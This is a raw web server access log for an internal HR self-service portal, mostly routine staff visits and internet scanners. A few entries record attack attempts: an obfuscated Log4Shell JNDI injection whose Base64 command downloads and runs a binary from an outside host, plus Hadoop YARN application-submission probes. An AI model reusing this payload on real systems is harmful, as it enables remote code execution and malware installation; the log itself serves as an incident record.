87.236.176.83 - - [24/May/2023:18:15:22 +0800] "GET / HTTP/1.1" 200 397 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)"
87.236.176.83 - - [24/May/2023:18:15:22 +0800] "GET / HTTP/1.1" 200 397
192.168.11.156 - - [24/May/2023:18:38:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [24/May/2023:18:38:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357
192.168.11.156 - - [24/May/2023:18:38:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [24/May/2023:18:38:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315
192.168.11.156 - - [24/May/2023:18:37:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357
192.168.11.156 - - [24/May/2023:18:37:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [24/May/2023:18:38:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357
192.168.11.156 - - [24/May/2023:18:38:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [24/May/2023:18:37:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [24/May/2023:18:37:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357
192.168.11.156 - - [24/May/2023:18:35:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [24/May/2023:18:35:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357
192.168.11.156 - - [24/May/2023:18:35:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [24/May/2023:18:35:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357
192.168.11.156 - - [24/May/2023:18:38:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [24/May/2023:18:38:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357
192.168.11.156 - - [24/May/2023:18:36:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357
192.168.11.156 - - [24/May/2023:18:36:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 357 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
103.178.228.41 - - [24/May/2023:18:58:58 +0800] "GET / HTTP/1.0" 200 397 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
103.178.228.41 - - [24/May/2023:18:58:58 +0800] "GET / HTTP/1.0" 200 397
192.168.11.200 - - [24/May/2023:18:59:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.50"
192.168.11.200 - - [24/May/2023:18:59:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315
192.168.11.200 - - [24/May/2023:18:59:16 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.200 - - [24/May/2023:18:59:16 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.50"
192.168.11.200 - - [24/May/2023:18:59:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315
192.168.11.200 - - [24/May/2023:18:59:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [24/May/2023:18:59:25 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.200 - - [24/May/2023:18:59:25 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.148 - - [24/May/2023:19:18:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.50"
192.168.11.148 - - [24/May/2023:19:18:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 315
192.168.11.148 - - [24/May/2023:19:18:55 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.148 - - [24/May/2023:19:18:55 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.50"
192.168.11.148 - - [24/May/2023:19:19:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 315
192.168.11.148 - - [24/May/2023:19:19:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.148 - - [24/May/2023:19:19:17 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.148 - - [24/May/2023:19:19:17 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.148 - - [24/May/2023:19:19:43 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.148 - - [24/May/2023:19:19:43 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 315
192.168.11.148 - - [24/May/2023:19:19:51 +0800] "GET / HTTP/1.1" 200 397 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.148 - - [24/May/2023:19:19:51 +0800] "GET / HTTP/1.1" 200 397
192.168.11.148 - - [24/May/2023:19:20:09 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.50"
192.168.11.148 - - [24/May/2023:19:20:09 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 315
192.168.11.148 - - [24/May/2023:19:20:13 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.148 - - [24/May/2023:19:20:13 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.50"
192.168.11.148 - - [24/May/2023:19:20:45 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 315
192.168.11.148 - - [24/May/2023:19:20:45 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.148 - - [24/May/2023:19:20:46 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.148 - - [24/May/2023:19:20:46 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.200 - - [24/May/2023:19:23:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [24/May/2023:19:23:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315
192.168.11.200 - - [24/May/2023:19:23:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [24/May/2023:19:23:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315
192.168.11.200 - - [24/May/2023:19:24:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7257167009385734 HTTP/1.1" 200 315
192.168.11.200 - - [24/May/2023:19:24:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7257167009385734 HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [24/May/2023:19:24:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315
192.168.11.200 - - [24/May/2023:19:24:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [24/May/2023:19:28:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315
192.168.11.234 - - [24/May/2023:19:28:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [24/May/2023:19:28:29 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.234 - - [24/May/2023:19:28:29 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [24/May/2023:19:28:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [24/May/2023:19:28:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315
192.168.11.234 - - [24/May/2023:19:28:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [24/May/2023:19:28:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315
192.168.11.234 - - [24/May/2023:19:28:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [24/May/2023:19:28:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315
192.168.11.234 - - [24/May/2023:19:28:51 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.234 - - [24/May/2023:19:28:51 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [24/May/2023:19:29:13 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [24/May/2023:19:29:13 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 315
192.168.11.234 - - [24/May/2023:19:29:15 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.234 - - [24/May/2023:19:29:15 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
141.98.6.126 - - [24/May/2023:19:29:42 +0800] "GET / HTTP/1.0" 200 397 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
141.98.6.126 - - [24/May/2023:19:29:42 +0800] "GET / HTTP/1.0" 200 397
40.77.167.85 - - [24/May/2023:20:02:25 +0800] "GET /robots.txt HTTP/1.1" 404 208
40.77.167.85 - - [24/May/2023:20:02:25 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/103.0.5060.134 Safari/537.36"
207.46.13.223 - - [24/May/2023:20:02:30 +0800] "GET /idcard/ess/index.php HTTP/1.1" 200 318
207.46.13.223 - - [24/May/2023:20:02:30 +0800] "GET /idcard/ess/index.php HTTP/1.1" 200 318 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/103.0.5060.134 Safari/537.36"
192.168.11.141 - - [24/May/2023:20:13:07 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [24/May/2023:20:13:07 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 427
192.168.11.141 - - [24/May/2023:20:13:07 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.141 - - [24/May/2023:20:13:07 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [24/May/2023:20:13:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [24/May/2023:20:13:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 427
192.168.11.141 - - [24/May/2023:20:13:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 427
192.168.11.141 - - [24/May/2023:20:13:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [24/May/2023:20:13:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 427
192.168.11.141 - - [24/May/2023:20:13:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
141.98.6.125 - - [24/May/2023:20:41:38 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
141.98.6.125 - - [24/May/2023:20:41:38 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.90.1.el7.x86_64"
89.248.165.7 - - [24/May/2023:20:48:50 +0800] "\x03" 501 203
89.248.165.7 - - [24/May/2023:20:48:50 +0800] "\x03" 501 203 "-" "-"
141.98.6.125 - - [24/May/2023:20:51:12 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
141.98.6.125 - - [24/May/2023:20:51:12 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.90.1.el7.x86_64"
162.142.125.226 - - [24/May/2023:21:51:11 +0800] "GET / HTTP/1.1" 200 397 "-" "-"
162.142.125.226 - - [24/May/2023:21:51:11 +0800] "GET / HTTP/1.1" 200 397
162.142.125.226 - - [24/May/2023:21:51:12 +0800] "GET / HTTP/1.1" 200 397 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
162.142.125.226 - - [24/May/2023:21:51:12 +0800] "GET / HTTP/1.1" 200 397
162.142.125.226 - - [24/May/2023:21:51:13 +0800] "PRI * HTTP/2.0" 400 226
162.142.125.226 - - [24/May/2023:21:51:13 +0800] "PRI * HTTP/2.0" 400 226 "-" "-"
162.142.125.226 - - [24/May/2023:21:51:14 +0800] "GET /favicon.ico HTTP/1.1" 404 209
162.142.125.226 - - [24/May/2023:21:51:14 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
141.98.11.69 - - [24/May/2023:21:57:54 +0800] "\x03" 501 203
141.98.11.69 - - [24/May/2023:21:57:54 +0800] "\x03" 501 203 "-" "-"
141.98.6.125 - - [24/May/2023:21:59:20 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
141.98.6.125 - - [24/May/2023:21:59:20 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.90.1.el7.x86_64"
167.248.133.37 - - [24/May/2023:23:37:23 +0800] "GET / HTTP/1.1" 200 397 "-" "-"
167.248.133.37 - - [24/May/2023:23:37:23 +0800] "GET / HTTP/1.1" 200 397
167.248.133.37 - - [24/May/2023:23:37:24 +0800] "GET / HTTP/1.1" 200 397 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
167.248.133.37 - - [24/May/2023:23:37:24 +0800] "GET / HTTP/1.1" 200 397
167.248.133.37 - - [24/May/2023:23:37:25 +0800] "PRI * HTTP/2.0" 400 226
167.248.133.37 - - [24/May/2023:23:37:25 +0800] "PRI * HTTP/2.0" 400 226 "-" "-"
167.248.133.37 - - [24/May/2023:23:37:26 +0800] "GET /favicon.ico HTTP/1.1" 404 209
167.248.133.37 - - [24/May/2023:23:37:26 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
95.214.53.99 - - [25/May/2023:01:30:49 +0800] "GET / HTTP/1.1" 200 397
95.214.53.99 - - [25/May/2023:01:30:49 +0800] "GET / HTTP/1.1" 200 397 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//193.111.248.160:8221/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTA3LjE3Mi4yMDYuMTE0L3NlcnZlci9udG9wMiA7IGN1cmwgLU8gaHR0cDovLzEwNy4xNzIuMjA2LjExNC9zZXJ2ZXIvbnRvcDIgOyBjaG1vZCAreCBudG9wMiA7IGNobW9kIDc3NyBudG9wMiA7IC4vbnRvcDIgeDg2IDsgc3VkbyAuL250b3AyIHg4NiA7IHJtIC1yZiBudG9wMg==}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//193.111.248.160:8221/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTA3LjE3Mi4yMDYuMTE0L3NlcnZlci9udG9wMiA7IGN1cmwgLU8gaHR0cDovLzEwNy4xNzIuMjA2LjExNC9zZXJ2ZXIvbnRvcDIgOyBjaG1vZCAreCBudG9wMiA7IGNobW9kIDc3NyBudG9wMiA7IC4vbnRvcDIgeDg2IDsgc3VkbyAuL250b3AyIHg4NiA7IHJtIC1yZiBudG9wMg==}')"
40.77.167.108 - - [25/May/2023:02:28:02 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/103.0.5060.134 Safari/537.36"
40.77.167.108 - - [25/May/2023:02:28:02 +0800] "GET /robots.txt HTTP/1.1" 404 208
207.46.13.208 - - [25/May/2023:02:28:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806
207.46.13.208 - - [25/May/2023:02:28:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/103.0.5060.134 Safari/537.36"
198.235.24.108 - - [25/May/2023:03:41:32 +0800] "GET / HTTP/1.0" 200 397 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com"
198.235.24.108 - - [25/May/2023:03:41:32 +0800] "GET / HTTP/1.0" 200 397
198.235.24.120 - - [25/May/2023:04:16:59 +0800] "GET / HTTP/1.1" 200 397 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com"
198.235.24.120 - - [25/May/2023:04:16:59 +0800] "GET / HTTP/1.1" 200 397
95.214.53.99 - - [25/May/2023:05:49:47 +0800] "GET / HTTP/1.1" 200 397 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//193.111.248.160:8221/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTA3LjE3Mi4yMDYuMTE0L3NlcnZlci9udG9wMiA7IGN1cmwgLU8gaHR0cDovLzEwNy4xNzIuMjA2LjExNC9zZXJ2ZXIvbnRvcDIgOyBjaG1vZCAreCBudG9wMiA7IGNobW9kIDc3NyBudG9wMiA7IC4vbnRvcDIgeDg2IDsgc3VkbyAuL250b3AyIHg4NiA7IHJtIC1yZiBudG9wMg==}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//193.111.248.160:8221/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTA3LjE3Mi4yMDYuMTE0L3NlcnZlci9udG9wMiA7IGN1cmwgLU8gaHR0cDovLzEwNy4xNzIuMjA2LjExNC9zZXJ2ZXIvbnRvcDIgOyBjaG1vZCAreCBudG9wMiA7IGNobW9kIDc3NyBudG9wMiA7IC4vbnRvcDIgeDg2IDsgc3VkbyAuL250b3AyIHg4NiA7IHJtIC1yZiBudG9wMg==}')"
95.214.53.99 - - [25/May/2023:05:49:47 +0800] "GET / HTTP/1.1" 200 397
60.217.75.70 - - [25/May/2023:06:26:03 +0800] "GET / HTTP/1.1" 200 397
60.217.75.70 - - [25/May/2023:06:26:03 +0800] "GET / HTTP/1.1" 200 397 "-" "Mozilla/5.0"
60.217.75.70 - - [25/May/2023:06:50:55 +0800] "GET / HTTP/1.1" 200 397 "-" "Mozilla/5.0"
60.217.75.70 - - [25/May/2023:06:50:55 +0800] "GET / HTTP/1.1" 200 397
60.217.75.70 - - [25/May/2023:07:03:53 +0800] "GET / HTTP/1.1" 200 397 "-" "Mozilla/5.0"
60.217.75.70 - - [25/May/2023:07:03:53 +0800] "GET / HTTP/1.1" 200 397
192.168.11.234 - - [25/May/2023:08:10:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:10:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.234 - - [25/May/2023:08:10:49 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.234 - - [25/May/2023:08:10:49 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:10:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 200 144 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:10:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 200 144
192.168.11.234 - - [25/May/2023:08:11:27 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.234 - - [25/May/2023:08:11:27 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:11:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028
192.168.11.234 - - [25/May/2023:08:11:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:11:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:11:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 -
192.168.11.83 - - [25/May/2023:08:18:27 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.83 - - [25/May/2023:08:18:27 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
192.168.11.83 - - [25/May/2023:08:18:27 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.83 - - [25/May/2023:08:18:27 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:28:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.234 - - [25/May/2023:08:28:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:28:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
